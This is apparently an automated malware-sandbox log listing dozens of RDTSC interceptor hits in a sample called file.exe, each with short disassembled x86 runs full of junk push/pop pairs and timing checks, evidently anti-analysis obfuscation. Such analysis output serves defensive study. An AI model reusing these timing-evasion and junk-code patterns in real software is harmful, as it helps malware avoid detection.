Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AF49 second address: 52AF50 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0E8 second address: 52B0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0F0 second address: 52B0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0F6 second address: 52B116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8B146BE727h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B116 second address: 52B11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B431 second address: 52B43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B43C second address: 52B444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EFC7 second address: 52EFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50217B second address: 50217F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502281 second address: 502285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502285 second address: 502302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B14C5BAA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edi 0x0000000d popad 0x0000000e mov dword ptr [esp], ebx 0x00000011 mov di, E061h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov edi, dword ptr [ebp+122D273Ch] 0x00000029 mov dword ptr [ebp+12493F4Ah], esp 0x0000002f add ecx, dword ptr [ebp+122D2AC9h] 0x00000035 cmp dword ptr [ebp+122D2A31h], 00000000h 0x0000003c jne 00007F8B14C5BB4Ah 0x00000042 sub dword ptr [ebp+1246A4F9h], edx 0x00000048 mov byte ptr [ebp+122D1E4Eh], 00000047h 0x0000004f adc edx, 595A6CC1h 0x00000055 mov eax, D49AA7D2h 0x0000005a add dword ptr [ebp+1245F710h], ebx 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 je 00007F8B14C5BA98h 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50267B second address: 50267F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50267F second address: 502690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jbe 00007F8B14C5BA9Eh 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502690 second address: 341A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 mov dx, si 0x00000009 push dword ptr [ebp+122D0421h] 0x0000000f call dword ptr [ebp+122D1BC1h] 0x00000015 pushad 0x00000016 xor dword ptr [ebp+122D218Ch], ecx 0x0000001c xor eax, eax 0x0000001e jnl 00007F8B146BE725h 0x00000024 mov edx, dword ptr [esp+28h] 0x00000028 sub dword ptr [ebp+122D218Ch], edi 0x0000002e mov dword ptr [ebp+122D2B01h], eax 0x00000034 jns 00007F8B146BE71Fh 0x0000003a mov esi, 0000003Ch 0x0000003f sub dword ptr [ebp+122D218Ch], edi 0x00000045 sub dword ptr [ebp+122D218Ch], esi 0x0000004b add esi, dword ptr [esp+24h] 0x0000004f add dword ptr [ebp+122D218Ch], ebx 0x00000055 lodsw 0x00000057 jnp 00007F8B146BE71Ch 0x0000005d mov dword ptr [ebp+122D19ADh], ebx 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 jne 00007F8B146BE71Ch 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 sub dword ptr [ebp+122D218Ch], ebx 0x00000077 pushad 0x00000078 add dword ptr [ebp+122D19ADh], edx 0x0000007e add edx, 33F31554h 0x00000084 popad 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 pushad 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502709 second address: 50272B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push ebx 0x00000008 jmp 00007F8B14C5BA9Fh 0x0000000d pop ebx 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50272B second address: 50276E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F8B146BE718h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 jmp 00007F8B146BE71Eh 0x00000026 mov di, A291h 0x0000002a mov di, A790h 0x0000002e push D01DDA7Dh 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 push ebx 0x00000037 pop ebx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50276E second address: 502772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5028E1 second address: 502900 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a mov dword ptr [ebp+122D1ADDh], edx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8B146BE71Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502900 second address: 502906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502906 second address: 50290A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5029CD second address: 502A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F8B14C5BAA2h 0x0000000e push edi 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop edi 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jo 00007F8B14C5BA9Ah 0x0000001d push ecx 0x0000001e pushad 0x0000001f popad 0x00000020 pop ecx 0x00000021 mov eax, dword ptr [eax] 0x00000023 ja 00007F8B14C5BAA0h 0x00000029 pushad 0x0000002a jng 00007F8B14C5BA96h 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push ecx 0x0000003a jmp 00007F8B14C5BAA0h 0x0000003f pop ecx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502C19 second address: 502C96 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8B146BE716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jns 00007F8B146BE726h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F8B146BE718h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c js 00007F8B146BE72Eh 0x00000032 jmp 00007F8B146BE728h 0x00000037 push 00000004h 0x00000039 mov dword ptr [ebp+122D26A5h], ecx 0x0000003f push eax 0x00000040 pushad 0x00000041 push ebx 0x00000042 jmp 00007F8B146BE71Dh 0x00000047 pop ebx 0x00000048 pushad 0x00000049 pushad 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50306A second address: 50306E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5031BA second address: 5031D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B146BE722h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F2BB second address: 52F2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F2BF second address: 52F2E5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8B146BE716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F8B146BE71Eh 0x00000010 jmp 00007F8B146BE71Ah 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F2E5 second address: 52F2FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F8B14C5BA96h 0x00000009 jne 00007F8B14C5BA96h 0x0000000f popad 0x00000010 jng 00007F8B14C5BA9Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F5C2 second address: 52F604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BE727h 0x00000007 jmp 00007F8B146BE728h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8B146BE71Bh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F604 second address: 52F612 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8B14C5BA96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F78E second address: 52F792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F792 second address: 52F796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F8FE second address: 52F905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F905 second address: 52F923 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8B14C5BA98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f pop eax 0x00000010 je 00007F8B14C5BA96h 0x00000016 popad 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FA78 second address: 52FA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FA7C second address: 52FA80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FA80 second address: 52FA86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FD33 second address: 52FD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5356F6 second address: 535714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BE724h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535714 second address: 53571A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53571A second address: 53571E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53571E second address: 535736 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F8B14C5BA9Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5358CB second address: 5358CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5358CF second address: 5358EC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8B14C5BA9Bh 0x0000000e jo 00007F8B14C5BA96h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5358EC second address: 535919 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B146BE729h 0x00000008 jo 00007F8B146BE716h 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535919 second address: 53591D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535D5B second address: 535D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B146BE71Fh 0x00000009 ja 00007F8B146BE716h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53542F second address: 535435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535435 second address: 53543F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8B146BE716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53543F second address: 535443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5361CF second address: 5361D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536321 second address: 536325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536325 second address: 53634F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F8B146BE721h 0x0000000e jmp 00007F8B146BE71Bh 0x00000013 push esi 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jno 00007F8B146BE716h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53634F second address: 536353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536353 second address: 536357 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539EBF second address: 539EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539EC3 second address: 539ED1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539ED1 second address: 539ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B79AC second address: 4B79B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B79B0 second address: 4B79B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B496 second address: 53B4A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BE71Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B4A6 second address: 53B4AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0C90 second address: 4B0CA2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8B146BE716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F8B146BE71Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0CA2 second address: 4B0CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8B14C5BAAAh 0x0000000a jmp 00007F8B14C5BAA2h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E40F second address: 53E43D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8B146BE716h 0x00000008 ja 00007F8B146BE716h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F8B146BE729h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544282 second address: 544286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544286 second address: 54428C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54428C second address: 544291 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542E12 second address: 542E1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542F7C second address: 542F94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F8B14C5BA9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542F94 second address: 542F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54311A second address: 543120 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54328D second address: 543297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8B146BE716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54354D second address: 543561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B14C5BA9Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543561 second address: 54357C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jc 00007F8B146BE730h 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007F8B146BE716h 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54357C second address: 543582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5436E2 second address: 5436E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5436E8 second address: 5436EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543846 second address: 54384A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5473EE second address: 54740F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8B151F0E3Ch 0x0000000b jmp 00007F8B151F0E3Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54740F second address: 547428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F8B146C0A0Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547428 second address: 54742D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54742D second address: 547433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A4F8 second address: 54A519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jns 00007F8B151F0E48h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A519 second address: 54A553 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A18h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F8B146C0A0Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b jnp 00007F8B146C0A06h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A553 second address: 54A563 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E3Ah 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DC05 second address: 54DC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DC09 second address: 54DC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DC0D second address: 54DC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5524B5 second address: 5524E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8B151F0E40h 0x00000012 rdtsc
